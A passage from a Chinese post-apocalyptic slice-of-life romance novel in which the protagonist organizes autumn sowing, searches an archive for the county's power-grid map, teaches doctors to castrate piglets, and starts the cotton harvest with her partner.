“我爷爷奶奶,我是跟着他们在乡下长大的。”
“难怪,你身上就没城里小孩那种臭脾气。”
“什么臭脾气?”
“怕虫子、怕脏、嫌弃这嫌弃那的,吃不了一点苦。”
“……现在还有这种小孩吗?”
“有的,兰城里多的是,那些末世后出生的小屁孩,一个个养的矜贵的很,可能长这么大连丧尸都没见过。”老叶说着比了个齐腰的高度。
“普通小孩也这样?”
“并不是,都是那些有权有势的人家。”
“从前也是这样。”
今天天气很好,是个阴天,并不是很热,两人坐在田埂上闲聊,一边分种子,一会儿要把这些种子分发下去让他们播种。
最近明显气温下降了,之后只会越来越冷,他们得在冷之前播种,这样种子才有足够的时间跟温度发芽,生长一段时间后才有能力抵御寒冷。
时枌挑选的都是一些适合秋播的种子,冬天的时候会有一批收获,比如菜薹、萝卜、辣椒之类的。
“这次回去我会收一批黄豆,到时候给你们多留一些种子,等春天就能播了。”时枌说。
他们在农场时太忙了,田埂上的毛豆都没时间收,估计现在叶子都快黄了,也不知道再回去有没有新鲜毛豆吃,只能吃黄豆的话,她不太喜欢。
黄豆得剥皮晒干再储存,处理的步骤多,她嫌麻烦,本来如果是毛豆的话清水煮熟再凉拌就能直接吃。
但是黄豆的加工产品很多,时枌末世前还吃过豆腐喝过豆浆豆腐脑,她也会做,但是做了豆腐自己一个人吃不完不说还不容易保存,所以并不乐意干这活儿。
“你们这边有人会做豆腐吗?”时枌一想起这个确实是馋了。
“他们食堂有人会做。”老叶说。
确实,时枌在兰城的时候喝过豆浆的。
“那你们这边就没有人有兴趣开一个豆制品的铺子?卖豆腐啊豆浆豆干什么的?”
老叶听出她话里的意思,乐呵呵地笑了,“你要是想干成这事,先得给人家供豆子,还得把阳县的人胃口养起来,人家一天一支营养液就能活,为什么要操那个心花更多的钱去喝什么豆浆呢?”
时枌也只是突发奇想,听他这么一说也知道不现实。
榨油厂能干起来,是因为有需求,就算普通民众不做饭,食堂也是需要油的,虽说赵弋现在在大力推行摆脱营养液的政策,但重要的还是时间。
种下的作物要等到收获,只有看见了成果,有了收成,大家才会改观,不再依赖兰城的营养液,这是一条漫长的路,而她想的豆腐什么的,太过精细,短时间内恐怕发展不到这里。
但话说回来,马上就是冬天了,温度低,食物容易保存,而且她还有一个邻居,两家一共七口人呢,她是可以尝试这个冬天做豆腐的,还能卖一部分给阳县!
时枌迫不及待想回去了。
一瞥眼看见一个苦力把一堆种子丢到一个地方,又去掏种子打算继续丢,时枌抬手制止,让他把种子挖出来,不能这么聚集播。
“这是萝卜,你没见过萝卜吗?你一把下去几十上百个萝卜长在一起能长好吗?”她语气不好。
那人抬了抬眼皮,去挖刚刚丢下去的种子,面无表情地漠视。
时枌深吸口气,让自己淡定,“这些蔬菜到时候收获是有你们的一部分的,种得好,以后还可能在这边重新落户重新生活,如果你们连这种简单的活儿都不能干,那恐怕你们对于阳县来说没有任何作用。”
时枌说的还是比较委婉了,没用的人,以赵弋的性格绝对不会白养,他可不像兰城家大业大的可以挥霍资源,阳县现在这个情况不能在负担更多累赘。
边上老叶听了挑了挑眉毛,他注意到不少苦力都扭头过来听着,得知自己还能有收获后,不少人去挖自己刚刚播多了种子的地方。
萝卜种子本来就小,想要精确地估摸着萝卜大小一小块地方一棵是很费神的,所以一般都是洒出去大致把控一下就行,他们在分种子的时候也考虑到了这一点,都多给了种子。
“各自播种的地各自竖牌子写名字,以后打理也是你们自己来。”时枌又说。
这下垂头去挖种子的人更多了。
“我种的多,是不是管的田也更多?”有人抬头问。
“是的,以后收成你拿到的也会更多,不分作物,也会有积分奖励。”
这下他们都认真起来。
时枌给种子的时候就分配好了哪些人管哪些作物,比如管胡萝卜的就只管胡萝卜,不会管菜薹,因为这些菜打理方式都不一样,一个人学好几个的话就太复杂了。
“之后会有农业部的人来教你们该怎么打理,好好学,学会了你们自己也能种。”
很好,他们更认真了。
时枌今天的主要任务是盯着他们干活,解答问题,并不需要亲自下地,还是很轻松的,只是要一直呆到天黑没有光亮了才能回去。
“这附近没通电?”时枌上车时问了一句。
“听说是通的,但是为了不浪费电,这附近除了还能用的太阳能路灯之外都一个个断电了。”
“那阳县发电厂管的范围挺大啊。”
“本来就是一个大发电厂,这附近村落都靠它。”
时枌在这里还是看不见她的农场,但或许有种可能,她家的电线也是从阳县牵过来的呢?
她回去得找赵弋看看规划图,要是能在冬天之前通上电就好了。
可惜她今天挂了人家两个电话,回去得好好哄一下才行。
运输车到了基地,这些苦力被发了营养液之后就被送到临时腾出来的监狱去了,食堂也早就有了饭菜香。
时枌给赵弋打了电话,接通后他说他在食堂,时枌就朝食堂走去。
她已经能好好穿上鞋子,只是走的不快,慢慢的,比装了假肢的张克走路还要别扭一点。
磨磨蹭蹭到食堂,没想到这个点食堂还有很多人。
但转念一想,今天赵弋回来肯定要处理很多事,而赵弋忙起来,办公楼里那些职工肯定就要忙起来,加班就是不可避免的了。
她一眼就看见了赵弋的位置,因为食堂以他为中心空出了一片位置,他的那个桌子也根本没有人敢去坐,相当显眼。
“给你点了蛋炒饭,还炒了个土豆牛肉。”等她坐下,赵弋把手边的一杯温热的绿豆汤递过去。
他记得她在养身体,要多吃肉,尽管食堂抠门,肉不多,但他还是点了,愿意花这个钱。
“你吃了什么?”时枌问他。
“炒面。”
“能吃饱吗?”
“再补了一支营养液。”他抬头看着她,“胃口都被你喂大了,以前我一支营养液就够了。”
“啧,你是在怪我咯?”
“怎么敢。”赵弋开始阴阳
怪气,“刚来阳县一天就挂我电话单方面失联,我怎么敢有意见。”
“我的工作内容不是你安排的吗?你会不知道我去哪?那我还报备什么?”
食堂工作人员让她去拿菜,赵弋起身应了,把菜端过来放她旁边,还顺手抽了筷子给她。
“但我打电话,你得接吧。”
“我很忙的。”时枌埋头开始吃饭。
她也饿了,营养液根本就不行,她严重怀疑今天的营养液是不是掺水了。
“我会担心。”他轻叹口气,“万一你出事我都不知道。”
“离那么远,我要是有什么事你也救不过来。”
赵弋那张脸,就变得幽怨起来。
“你不担心我吗?我跟副官两个人去矿山,他们几百号人,万一想要谋朝篡位,杀了我呢?”
“那算他们有种。”
“……”
是挺有种的,他这个赵将军唯一的儿子、明面上阳县的最高指挥官要是死在南区部队的手里,说不定他那个爱子如命的后爸就要当场哗变了。
“开玩笑的啦,”时枌忽然想起来自己还有事求他,一改之前的敷衍,“我肯定是相信你的能力,你能处理好矿山的事啊,你看你,阳县这个烂摊子不是收拾的很好吗?我觉得,阳县在你的治理下比兰城都要好。”
要是能给她把电通了就更好了。
虽然她这个马屁拍的比较肤浅,但话从她口里说出来,就很让赵弋舒心。
难怪别人都说枕边风枕边风,他桌边风都飘飘然,要是真到枕边……啧。
第112章 第112章“闭嘴,不准说话。”……
时枌要了第二碗米饭,菜也吃的干干净净,才满足地放下筷子。
赵弋就很识相地去把餐盘都拿到工作人员回收的地方。
“你待会儿还要加班吗?”时枌问他。
“嗯,可能得十点多才能回去。”
他们在农场的时候对时间没什么观念,都是看天光作息,太阳落山了就要收拾回家准备睡觉,天亮了就会被鸡吵醒,也不常看手表来知道时间。
但是到了阳县,他们都有工作,赵弋也才知道,原来天黑后的时间还有这么长,而他,还得用这么长的时间来工作。
“那我能跟你一起去吗?”时枌心里还有事,“我想看看阳县的电缆图。”
但凡她说的话里带个电字,赵弋就能准确知道她是什么心思。
“最近办公楼比较忙,我没时间去看这个,不过当初接管阳县的时候一些纸质的城市规划图之类的都在档案室,你要是着急的话可以先去找一找。”
“我想去!”反正她下班了,有空得很。
赵弋就把手表给她,“一会儿跟着我去办公楼,去地下室打个招呼就行。”
城市规划这种东西怎么说也算是机密文件,当时整理完资料后赵弋就统一让人存到了办公楼的负一层,还有专门的人看着。
“嗯嗯!”时枌很乖地点头。
手表上周霓发消息邀请她去她家玩时枌都拒绝了,说有事忙完再去。
是跟她家通电相关的大事。
周霓发了个好吧,说明天再约,她今天家里住了别人。
约不到时枌,她就去约别的人了。
时枌脑筋一转就发了条消息过去:要不要我去陪你们啊?我去过夜啊。
周霓回复了一串省略号。
时枌不解,拿着手表问赵弋这是什么意思。
“有没有一种可能,今晚要去她家过夜的是个男人?你想去陪他们吗?”赵弋很平静地说。
时枌:“……”
她赶紧给周霓回:当我没问,你好好玩。
周霓:OK。
时枌才松口气。
她刚刚好像个变态,要去参与人家晚上的亲密活动。
一抬头,就看见赵弋抿唇憋着笑。
时枌去捂他嘴。
“闭嘴,不准说话。”
两人都走到了办公楼门口,大灯一照,亮堂堂的,里面的人听见动静仰头看过来,一下子让整栋楼加班的怨气都消散了一小部分。
哟,赵指挥老牛吃嫩草呢。
大家眼神开始蛐蛐。
赵弋拉下她的手,领着她去地下室。
时枌看见这么多人就老实了,装作无事发生的样子跟几个眼熟的打了招呼。
一路到了楼梯间,看见一个大铁门,赵弋拿钥匙打开,然后楼梯间的感应灯亮起,继续往下走,到了楼下,就看见一个守在大铁门前的老人,年纪很大了,他旁边一扇门开着,看样子是他住的地方,里面有床铺还有电视。
“她查点资料,不会带出去。”赵弋对那人说。
老人就帮忙开门,看着时枌进去,还帮忙拉了灯。
时枌实在忍不住扭头看赵弋:“也不至于让人家一直住在地下吧?不见天日,不可怕吗?”
老人笑道:“我有房子,只是习惯住这边,没人正好。”
赵弋就看向她,“没有虐待老人,去吧,一会儿下班我再来接你。”
时枌这才进去了。
这地下的空间比她的地窖要宽敞的多,还有点阴凉,虽然有灯,但给人感觉还是阴森森的,尤其是那些角落没有光亮的地方,总让人感觉会不会有其他什么东西藏在阴暗里,伺机等着你放松的间隙偷袭。
时枌十分警惕,扫过了所有地方,才去找自己需要的资料。
阳县有自己的大型发电厂,在末世之前这一片区域应该就是由阳县供电的,时枌也记得末世之后有一段时间她也在用电,只是后来不知道是被丧尸破坏还是自然灾害就断电了。
她来往阳县农场这么多次,也看见了沿途的电线杆,其中有不少倒塌的,而且他们村里也有变压器,那个也不知道是好是坏。
时枌费了点功夫才找到规划图,确定阳县供电到了他们村,就把这图放在一边显眼的地方,等着下一次方便拿。
有了图,想要恢复供电就得需要把沿途的电线牵好,她们村的变压器也得看看是否能用。
时枌自己是不懂这些的,但是阳县有发电厂,也有一批维护阳县内部供电的技术人员,如果能请得动这些人,应该就有办法恢复她农场的电了吧?
可是这是一项大工程,得开车出去修沿途的电线,现在外边这个情况如果要作业肯定需要人保护,还要进一步去那么远的她的农场,不知道他们愿不愿意,时枌也不知道该用什么来付这笔工资。
她知道目前阳县内情况复杂,或许经过今天矿山南区部队那边能暂时算被赵弋收服,但发电厂……就很难说了。
有时候她听副官说起发电厂那边的情况都是愁得不行。
时枌自己脑子里把通电流程过了一遍觉得头疼,现在她很能理解赵弋为什么不乐意待在阳县。
想要办成一件事,太难了。
时枌深深叹了口气,告诉自己冬天用壁炉也没关系,晚上睡觉还有赵弋这个火炉,而且她的柴都堆得满满的,炭也有不少,今年冬天不愁不暖和。
大不了等明年吧,明年通电也不迟。
时枌颇为留恋地又看了一遍那个规划图,才重新叠好,出去了。
老人问她:“找到你要的东西了吗?”
时枌点点头,“找到了,谢谢您。”
就是现在用不上而已。
老人笑呵呵,“那就好。”
这个时间也很晚了,时枌看了眼手表,没有赵弋的消息,估计这人还在忙,跟老人打完招呼就上去了,到三楼,直奔他办公室。
办公楼里明显人少了一大半,只剩下一小部分,显得有些空旷。
赵弋办公室门一推就开了,里面还没人。
真稀奇,最高指挥官的办公室门就这么开着。
刚进去,副官就跑了过来,看见时枌狠狠松了口气。
他还以为是什么人偷溜进来了。
“赵指挥还在开会,可能还得一段时间,您需要茶吗?”
他这么恭恭敬敬的语气听得时枌怪别扭的,“可以,谢谢 。”
她倒是想喝茶了。
副官去烧水泡茶,看见他本该在开会的老板突然走了出来,问他大晚上泡什么茶。
副官:“时小姐来了。”
赵弋就把他手里泡好的茶拿走了,还留了一句:“你通知他们散会回家,以后超过九点不要安排会议。”
副官:“……”
这不是得趁着您回阳县抓紧时间把该办的事给办了么,不然谁知道您还回不回来啊。
刚刚那场会议是跟发电厂那边商量限电措施,以及后续交电费的问题,联合了好几个部门,吵了半晚上都没吵出个结果,副官进去宣布散会的时候各个都没好脸色,有人黑脸有人红脸,骂骂咧咧下楼去了。
副官再看看紧闭的赵指挥办公室门,很识相地没有去打扰,自己给自己安排下班了。
他又不是什么神经病,非得上班不可。
办公室内,时枌抱着玻璃保温杯,看着里面漂浮的茶叶,想起通电两个字,深深地叹息。
正在收拾东西准备下班的赵弋看见她低迷的表情,大概猜到了什么,将手里的外套挂到椅背上,走近两步,安抚地抱住她。
“别担心,大不了冬天来阳县住,每天都可以热水洗澡。”
时枌确实不太高兴,今天气温还有点低,被热烘烘的他抱住,好像自己心里缺失的某一部分就被填满了一样,仰头靠在他肩膀,才发现自己拿着保温杯的手别扭地膈应在两人之间。
“先松一下,杯子拿不出去。”
赵弋就松开她,大手在人后颈摁了摁,跟撸狗时揉狗脖子一个姿势。
时枌突然嘶了一声。
“嗯?”
“压我头发了!”
赵弋收手,笑笑,去牵她手,感觉她没拿保温杯的手似乎有点冷,就把椅背上的外套给她穿上。
“明天起床记得穿外套,——你带外套来了吗?”没有的话明天就去买。
“没带,没想到这么冷。”
今年降温确实来的快一点,还没到十月份晚上就觉得凉了。
赵弋已经收拾完东西,拉着她手下班,锁好门,办公楼已经没几个人了,看见两人下楼还一副八卦的表情。
时枌却更八卦,问他们:“加班有加班费吗?”
一个整理会议资料的文职人员笑的很苦:“没有,我们都是兰城那边发工资,赵队今天给了宵夜福利。”
还是葱花饼呢,挺好吃的,食堂手艺一直不错,听说用的是他们自己清闲去山上采的野葱,葱味特别足,做的饼尤其香,把他们在基地停车场那片地种的葱都比下去了,因为这次葱油饼没用他们的葱还去食堂闹事,要替自家的葱讨个说法。
时枌听得直笑。
跟最后一个办公楼的员工收拾完一起出来,关了灯,锁好门,她跟人家还有说有笑的。
“最近降温了,晚上要多加衣服哦。”时枌还很热心地提醒人家。
赵弋:“……”
“确实有点冷,我回家啦,明天来我们行政部玩~”
“好呀。”
赵弋已经不想说话了。
时枌这个人,对那种要熟不熟的人总是很热情,这点是他来农场时没发现的,因为那时候时枌警惕得像能随时掏枪一鼓作气把他们全崩了似的。
时枌解释:“那不一样,那时候我又不知道你们底细,但你看阳县这个环境,尤其是办公楼,大家都柔柔弱弱的还没有武器,我有什么可怕的?”要说起来基地那群士兵看着都强势一些,时枌跟他们说话就比较有界限感,属于那种有事说事,没事听听八卦的模式。
对于没威胁的人,听是很友善的。
“懂了,你再多看看我,其实我跟他们办公楼里的人一样,很柔弱的。”
时枌上下打量完他,扯了扯嘴角假笑一声。
“别装了。”
第113章 第113章信她不如信养猪场的猪……
到家都快十二点,已经超过时枌平时睡觉的点了,上了一整天班两人都累得要死,轮流洗完澡就爬上床睡觉。
能吹风扇不用赶蚊子的日子可不多见,时枌很珍惜阳县的电。
所以睡前还跟赵弋商量了,让他早餐做鸡蛋饼,加葱花的那种,她今天没赶上食堂的葱油饼有点想念。
时枌不需要打卡上班,她属于自愿到农业部帮忙的,也没给她算工资,所以她可以想睡到几点就睡到几点。
但是赵弋不一样,他有工作,昨天副官就给他安排好了这一周每天从早九点到晚九点的所有安排。
第二天赵弋八点就醒了,甚至不需要闹钟,小心翼翼从床里面爬出来,没有吵醒时枌。
在农场睡的时候养成习惯了,他睡里面时枌睡外边,这让赵弋觉得自己越来越有赘婿的样子了。
洗漱完,拿出柜子里的面粉还有冰箱的鸡蛋,还有昨晚上回家时偷偷去停车场的菜地摘的小葱,开始做鸡蛋饼。
赵弋的手艺已经练出来了,小小鸡蛋饼不在话下。
做好后他自己尝了一口,觉得这个味道似乎有哪里不够好,就给秦丰发了条消息。
赵弋:刚做的鸡蛋饼口感没有那么……嫩,是怎么回事?
秦丰回得很快:你按照配方来的吗?一勺面粉四勺水三个鸡蛋?
赵弋:是这个配方。
过了会儿秦丰才回复:是不是勺子大小不一样?
赵弋低头看了眼砧板旁边的小汤勺,沉默了。
时枌家里的勺子是汤匙,是那种短短的,比较大的陶瓷勺子,但是他家这个是金属的,偏小一些的小汤勺,所以导致比例不对,水少了,鸡蛋多了,口感就不对。
赵弋:明白了。
秦丰:以后做饭要看比例,自己掂量一下,时间长了就有经验了。
赵弋就很不喜欢他这种过来人教后生的语气,没有回他。
秦丰却又给他发来一长串:总不能天天给时枌做鸡蛋饼啊,来看看这些,馒头包子饺子……菜谱发你了,好好看,等你反馈~有啥不懂的就问我,嘿嘿。
赵弋依旧没回复,但是把他发过来的文档保存了下来,趁着自己吃早饭等时枌起床的间隙瞥了一眼。
都是些适合当早餐的食谱,写的很详细,并且考虑到了现在这个时代不容易找到称,都是按比例写的,对新手也很友好。
赵弋大发善心:下次回农场钓小龙虾,记得来吃。
秦丰:!!!
秦丰:好兄弟!
赵弋吃完自己那一份时枌都还没醒,看看时间已经八点四十五,他还是去卧室把人叫醒,避免鸡蛋饼凉透了。
八个多小时的睡眠肯定充足,他确定她就是懒,不想起床。
因为整个阳县班味儿太重,熏得她一起床就神经紧绷,时枌在农场的时候都不这样。
“唔……放着吧,我会吃的……”
赵弋拉着她胳膊,她脑袋还埋在枕头下边,试图抓着床的边缘将自己死死黏在床上。
“待会吃就冷了,错过了早饭你下楼又没得吃,十点吃了,食堂放午饭你吃得下吗?”
时枌本来是非常严格的一日三餐选手,直到她碰到了营养液,饿了就补一支,导致她现在吃饭时间很不规律,这也是她上次来月经痛得死去活来的原因之一。
她还是被拽起来了,担心她脚,赵弋还是把人抱到洗手间的。
时枌扶着洗手池,很不甘愿地刷牙。
赵弋靠在一边,开始翻旧帐,“你昨天一整天都在郊外?”
“嗯,起床就过去了。”
“哦,很好,那冰箱里的绿豆汤就只能是你起床的时候喝的,是吧?空腹喝冰绿豆粥?时枌,你很有种。”
时枌一下子就清醒了。
清醒的脑瓜让她第一反应就是狡辩,“我没有,我是下楼之后去郊外之前又回来喝的。”
“呵呵。”他信她不如信养猪场的猪。
“你又不信我,人跟人之间的信任在哪里?你跟我睡一起这么久,就没有产生什么……坚不可摧的信任感吗?”
“……”
她有时候大方过头的话让他真的不知道该怎么接。
“我得上班了,你今天跟周霓一起去养猪场?”
时枌咬着牙刷点头。
郊外那些地经过她昨天一番指点已经正常推进工作了,不需要她天天都去盯着,她来阳县的时间有限,今天的安排是去周霓正在建的养猪场视察,顺便再去养鸡场养鸭场看看,有没有什么需要改动的地方。
这两个地方离基地比较近,步行二十分钟就能到,因为是重要资源,很可能会招人来抢,所以离得近,也更安全一些。
“逛完记得回来吃饭。”赵弋看看时间,已经九点了,到了他本应该在办公室的
时间,估计下一秒他的副官兼任秘书就得电话过来催他,赵弋捏捏她手,去厨房冰箱把那半盆冰绿豆汤带上就出门了。
到门口还在提醒,“绿豆汤不要喝了,我带去给底下士兵喝。”
“一早上喝隔夜冰绿豆汤,你也不怕他们吃坏肚子。”时枌嘀咕。
“这年头没有什么隔夜不隔夜的,只要没臭,都能喝。”
赵弋的声音传来。
时枌没搭理他。
吃完还温热的鸡蛋饼,时枌换了衣服就下楼去了,去食堂买了杯热豆浆,再慢悠悠走去养猪场。
养猪场的规模不是很大,是根据一个厂房改建而成的,里面管理人员也不多,都是从居民里招过来的,反正养猪这事简单,平时工作就是给猪喂食。
给猪喂的除了一部分食堂送过来的泔水,就是在阳县内找一些能吃的草,剁碎了喂猪。
还好现在都是小猪,胃口不大,不然以阳县的食材储备根本养不起这么多猪。
时枌到的时候周霓已经在跟养猪场负责人商量修建挡棚保暖,毕竟马上就要到冬天了,需要提前准备。
看见时枌过来,周霓朝她招招手,一边继续跟人讲解。
讲完了,才拉着时枌去看小猪。
一群还算粉嫩的小猪在围栏里跑来跑去,这幅场景还是很……可爱的。
“还是太小了,现在食物少,长得慢,我听有经验的老人说猪也可以散养,它们会自己找吃的……”
时枌边听边点头,“可以散养,但是怕这边不安全或者被人偷吃,而且现在它们还小,万一死了更不值,先这样养着吧,过完冬再看。”
再过几个月郊外养的菜也能收,猪能吃,烂叶子鸡鸭也能吃,再加上从兰城进过来的饲料,还有她这边的粮食储备,撑过今年应该是没问题的。
“这附近收集猪粪便,就埋到土里,也能种点菜,自己吃或者喂猪。”时枌又说。
“这个知道,这边养猪的都是老人,他们挺有经验的,都不用我们教。”
周霓自从接了这个活之后人都快忙死了,三个厂同时建,还得挑选合适的人来干活,还好阳县都是一堆老弱病残。
老的好处就是,见得多,懂得多,文化不一定有,但是种田养牲畜这种事他们稍稍回忆就记起来了,跟刻在基因里似的,直接上手。
“如果有条件,之后还是得打疫苗。”时枌说。
“放心,买猪的时候就送过来了,存在医务室,刚到的时候就是那两个西医过来打针的,反正他们也清闲。”
管他兽医人医,会扎针就行,再说他们有经验学的也快。
“那劁猪呢?也是他们来?”时枌好奇。
“……这个,他们不肯。”
“啊,为啥啊?不劁这猪还怎么吃?那那边的鸡也不处理啊?”
“我争取这两天把他们劝过来。”周霓坚定道。
“要是不会的话,我可以教他们,带上工具来就行了。”
时枌一发话,周霓就有了信心,直接打电话到医务室,以时枌的名义,“请”那两位过来帮忙劁猪。
这好几百头猪呢,除了留着生小猪的,都得处理了,不然到了发情期会很麻烦,而且趁着现在天气暖和还能处理,要是冬天更不好办。
时枌的名号还是很好使的,周霓都打算时枌要是不管用就报赵弋名号了,好在他们说马上就到。
周霓等了一会儿,就看见一辆车载着两个白大褂,他们拎着箱子过来,还有两个来帮忙(看热闹)的士兵。
“这是之前从阳县居民屋子里搜出来的工具。”一个中年医生说着,小心翼翼将手里的箱子交给了时枌,“我们把大部分碘酒都带过来了。”
“是是是,您看着用,不够的话……我们再想想办法。”另一个看着稍微年轻一些的医生战战兢兢地说。
他也不知道为什么,他好好一个神内的学生,竟然末世之后被迫变成外科医生,外科医生就算了,现在还要学习阉猪。
他很能共情的好吧。
时枌打开箱子看了看,确实是劁猪用的工具。
其实主要是那把刀,形状像斧头,但是比斧头要小、圆润得多,更适合单手操作,这种圆润的形状也更能减少疼痛,贴合小猪腹部曲线。
时枌示范了一遍该怎么控制猪。
她将小猪后腿拎起来,再让其左侧卧地,自己坐在一个矮凳子上,左脚踩小猪颈,右脚踩尾根,控制住整只猪后,再掰开猪腿给他们示范该在什么位置下刀。
“这个地方,靠近左腿,左侧倒数两个**的地方……”
“靠近左侧髋关节。”另一个是骨科的,稍稍有点经验。
然后两人就看见时枌干净利落下刀,蛋蛋就这样出来了。
两位男医生都幻痛了一下。
这只小猪也不再挣扎,趴在地上猪脸贴着地面,失去了梦想。
“你们是医生,应该学得快吧,那我们今天就能处理完。”
两位医生:“……好的。”
第114章 第114章“摇人。”
这边离基地近,因为杀猪般地嚎叫跟现场两个士兵的传播,又有不少人过来凑热闹。
“这是干啥?”
“杀猪吧。”
“有没有点常识,知不知道劁猪?”
“啥意思?”
“就是在猪小时候把猪都变成太监,这样就不会发情,而且肉也更好吃。”
“卧槽,专业。”
“那跟杀猪也没啥区别诶。”
“这猪啥时候能吃?”
“你胆子大的话现在就可以,烤乳猪很香的。”
“想让我死就直说。”
“……那是不是时枌?”
这道声音还挺大,一时间周围士兵都诡异地沉默了,整个养猪场就显得安静过头,只剩下时枌跟两个医生脚下小猪的疯狂嘶嚎。
养猪场负责人帮忙逮小猪,再把已经劁过的猪安置好,事情进行的很顺利。
给两位医生安排了事做,时枌又去了趟养鸡场。
她走的时候周围人都用一种很复杂的眼神看着她。
转换成语言的话大概就是:没想到你时枌竟然是这样的人。
给猪猪割蛋蛋,多残忍啊。
时枌在大家心中的形象变得复杂却高大许多。
养鸡场的情况比较好,这些鸡都还小,还没到割蛋蛋的时候,离下蛋也确实太早,从一开始的毛茸茸变成了成年模样,眼神都坚毅了许多,就是有点吵。
这边基本上都是全露天,只是周围用细密的铁丝网围了起来,地面也没有做硬化,方便小鸡刨土吃虫子吃小石子。
“你们这边有看见黄鼠狼吗?”时枌问。
“不太清楚,不过确实有这个担心。”
就算现在没有,养这么多鸡,之后肯定也会招来的吧。
“那下次我来给你们带两只大鹅。”
大鹅可以防黄鼠狼,对蛇还有一定威慑作用。
大鹅除了凶一点,看家护院还是很不错的,这也是为什么时枌农场一直养着鹅,她可不想乱七八糟的其他动物随便造访。
“现在可以把底部的铁丝网加密加固,防范一下。”
“行,今天就让他们干。”
看完小鸡崽,又去了养鸭场。
养鸭场是在一个池塘附近,因为有池塘所以占地面积算大的,小鸭子也长大了不少,步入尴尬期,毛炸炸的,看着很乱,但是眼神相对清澈。
“冬天注意保暖,不然下雪可能会死一批。”
时枌说。
周霓拍拍胸脯保证:“放心吧。”
时间还早,养猪场那边任务重,时枌就去那边继续帮忙,终于在天黑之前把几百头猪都处理好了。
两位医生眼里已经没有了光。
这附近陆陆续续一直有人过来围观,看见那摆放到一起整齐的猪蛋蛋不约而同地露出了感同身受的表情。
时枌一身味儿,嫌弃得很,她都怕自己这样去食堂会给人赶出来。
周霓也是,两人就商量着先回家洗个澡换身衣服再下来吃饭。
八点多,两人才在食堂集合,为了犒劳忙碌一天的时枌,今天是周霓请客,点了两个菜,一人一碗米饭。
“我之前还觉得阳县这地方小,破破烂烂,没啥好玩的,结果现在发现,地是真大啊,虽然没什么娱乐设施,但是人少是非少,不拥挤,每天干干活,大家也比较和气。”终于摆脱出任务的周霓全身心投入到新的事业当中。
她小时候就喜欢看父亲建房子,关注着一栋房子从起地基到两层楼,再添砖加瓦,再内外装修,最后成为一个完美的建筑,这让她很有成就感。
以前在兰城轮不到她干这活儿,兰城的建设有专业的人带着专业的团队负责,到了这里,用人标准低,她终
于有发挥机会。
一开始都是摸索着来,比如养猪场跟养鸡场规划就不一样,养猪场尽量地面做硬化,方便清理粪便,还要建猪食槽,排水也要好,养鸡场几乎全露天,阳县资源有限,用的材料就是从各处无人空房搜刮来的木板啊什么的,反正能用就行,而且预备着鸡以后长大可能会飞,周霓打算之后再加高护栏以防万一。
周霓跟时枌聊着她最近的工作,整个人神采奕奕,一点都没有班味儿。
时枌边听边点头,“是的,但是人有点太少了,就怕地种不过来。”
在末世种地除了跟天地打交道,更重要的其实是守好自己的粮食,避免被其他人抢掠。
周霓也明白她的意思。
“难怪他们最近小队出任务都带着宣传,但是好像到现在也没有人来阳县投诚。”周霓一手支着脑袋,正在扒拉碗里最后一粒米。
“慢慢来吧。”
“我忙完这段时间就比较清闲了,要不之后我去你农场那边玩,顺便把鹅带回来?”
“可以啊,正好一起去钓小龙虾。”她农场还有好多事要忙,至少捡棉花就很缺人手。
时枌最近也有点紧张,她怕下雨影响自己收棉花。
“对!你说小龙虾我想起来了,你回农场这段时间我跟他们没事就去采菌子,收了超级多根本吃不完,一会儿你跟我去我家拿!”
不出任务的士兵更多,平时除了训练就是聚在一起八卦,自从时枌带着他们种菜之后,这群兵就像是觉醒了什么返祖基因一样,一下子对正常食材充满了渴望,得知周霓会认菌子之后就经常约着她去基地前的森林采菌子,容易出菌子的地方甚至都被他们标记了出来,方便下次再去摘。
除了森林,还有后山,目前他们采菌子的范围甚至扩张到了那片荷花池塘。
周霓采得多,但她不可能天天吃这玩意,也是会腻的,所以就自己在家晒干,想着到时候送给时枌。
“晚点吧,等我回农场之前再去找你拿,赵弋给我发消息了,我看一下。”
时枌低头看了下手表,赵弋说他下班了,问她要不要一起吃饭。
时枌:刚刚跟周霓吃完了。
赵弋:骗我好好吃饭?然后你跟别人去偷吃?
时枌:……
她不看消息了。
周霓挤眉弄眼看着她。
考虑到赵指挥忙的要命,周霓很有眼色地回家去了,时枌留在食堂等赵弋过来,陪他吃完饭两人才回去。
这还是头一回赵弋吃饭,时枌不吃,坐在他对面就这么看着他。
时枌闲着没事问他:“你怎么不问我今天干什么了?”
他好像很喜欢她跟他说自己平时在做什么,不知道是单纯闲聊还是真的想要知道。
“还问的话就有点假了。”赵弋说,“基地都在传你在养猪场。”
具体在干什么他们都描述的绘声绘色,他想不知道都难。
“也是哦。”桌子油汪汪的,有点脏,刚洗完澡的时枌有点嫌弃,没有趴在桌子上,“那你呢,今天做什么了?”
赵弋听见她竟然主动问起他做什么有点惊讶,但心里是高兴的,讲的很详细。
他今天除了开会就是去了趟发电厂,谈之后发电厂食堂建设问题。
跟矿山一样,发电厂的人跟阳县基地或者居民区有着很大的隔阂,大家都不怎么往来,他们也大部分都是技术人员,只是招了一批居民干一些力气活,除此之外,就是跟矿山关系紧密,因为大部份煤炭都要运到这边来发电。
阳县目前人少,需电量不大,大家工作相对清闲,闲了,大家就会有心思,想要提高自己的生活品质。
食堂就是其中之一。
目前基地食堂只管基地士兵军官,不对居民开放,发电厂跟矿山只有兰城提供的营养液,现在在阳县待久了,在周围影响下起了心思,想跟基地谈合作,分一部食材给他们建个食堂提高待遇。
鉴于之前他们对赵弋的态度,这次合作谈的很不顺利,赵弋以“资源不足”为借口拒绝了他们的请求。
时枌表示理解,“不是一条心为什么要帮他们呢?”
赵弋就笑了。
时间紧任务重,来阳县这一个礼拜赵弋忙的脚不沾地,两人也就是吃饭的时候能见到面,还不一定每次吃饭都能碰上,因为时枌也很忙。
她帮完周霓又去帮叶枝蔚安排跟南区那边合并的事情,抽空再去财务部看看宋阡跟于姐。
最后一天,赵弋还领了个几天后去兰城办事的任务,才被副官放行,两人重新回农场。
但是意料之外的,并没有很放松。
因为农场也有很多事要干。
最最要紧的,就是收棉花。
棉花一旦炸开就可以收了,如果炸开后下雨可能会导致棉花霉烂,到时候棉花就废了。
要收到足够柔软、完美的棉花,得很细致。
因为时枌这边并没有机器处理,所以在采摘这一步尽量减少杂质就很重要。
两人到农场当天就开车去了棉花地,开始干活。
一人腰间系上一个布袋用来装棉花,穿上长袖戴上面罩帽子防晒,也是避免被枝条划伤,才踏入棉花地。
棉花已经大面积炸开,白花花一片,让时枌压力倍增。
好在看今天云推测明天也是一个好天气。
时枌摘棉花已经很熟练,手指一并,就能把完整的棉花取出来,她只教他一遍,赵弋就学会了。
两人分散采摘。
